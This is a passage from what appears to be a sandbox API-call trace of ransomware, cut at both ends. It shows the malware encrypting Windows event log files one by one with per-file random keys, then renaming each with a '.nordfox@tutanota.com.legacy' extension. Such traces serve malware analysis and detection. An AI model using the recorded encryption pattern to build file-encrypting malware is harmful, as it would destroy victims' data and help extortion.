pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.663] WriteFile (in: hFile=0x460, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.663] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.663] CloseHandle (hObject=0x460) returned 1 [0088.668] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0088.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0088.669] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eb98 | out: hHeap=0x520000) returned 1 [0088.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0088.671] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0088.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581860 [0088.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0088.671] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0088.671] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0088.671] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0088.671] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.673] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581a80 [0088.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0088.674] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581a80 | out: hHeap=0x520000) returned 1 [0088.674] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.674] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.674] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.694] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.694] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.695] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.697] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.697] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.698] WriteFile (in: hFile=0x460, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.699] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.699] CloseHandle (hObject=0x460) returned 1 [0088.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0088.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0088.708] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0088.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581860 | out: hHeap=0x520000) returned 1 [0088.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581310 | out: hHeap=0x520000) returned 1 [0088.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0088.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0088.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0088.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0088.710] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0088.710] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0088.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0088.710] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0088.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0088.710] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.711] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.712] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.712] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.726] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.726] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.728] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.729] WriteFile (in: hFile=0x460, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.730] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.730] CloseHandle (hObject=0x460) returned 1 [0088.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0088.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0088.736] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0088.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0088.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0088.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x582160 [0088.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0088.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0088.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0088.748] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0088.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x582218 [0088.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x583308 [0088.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582218 | out: hHeap=0x520000) returned 1 [0088.748] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.748] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1052672) returned 1 [0088.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3129020 [0088.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x323b020 [0088.755] ReadFile (in: hFile=0x460, lpBuffer=0x3129020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3129020*, lpNumberOfBytesRead=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0088.820] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.820] WriteFile (in: hFile=0x460, lpBuffer=0x323b020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x323b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0088.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3129020 | out: hHeap=0x520000) returned 1 [0088.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x323b020 | out: hHeap=0x520000) returned 1 [0088.836] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x101000 [0088.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.837] WriteFile (in: hFile=0x460, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.837] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.837] CloseHandle (hObject=0x460) returned 1 [0088.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0088.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0088.857] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.859] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583308 | out: hHeap=0x520000) returned 1 [0088.859] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0088.859] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5647d8 | out: hHeap=0x520000) returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0088.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0088.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0088.860] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0088.860] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0088.860] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0088.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0088.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0088.860] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.860] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.861] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.872] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.872] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.876] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.876] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.876] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.878] WriteFile (in: hFile=0x460, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.878] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.878] CloseHandle (hObject=0x460) returned 1 [0088.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0088.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0088.883] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0088.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0088.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0088.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0088.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0088.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0088.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0088.886] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", dwFileAttributes=0x80) returned 1 [0088.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0088.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ba90 [0088.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0088.886] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.887] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.887] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.928] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.928] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.932] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.934] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.934] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.934] CloseHandle (hObject=0x460) returned 1 [0088.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0088.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0088.937] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ba90 | out: hHeap=0x520000) returned 1 [0088.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0088.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0088.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x583e68 [0088.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0088.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0088.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0088.939] SetFileAttributesW 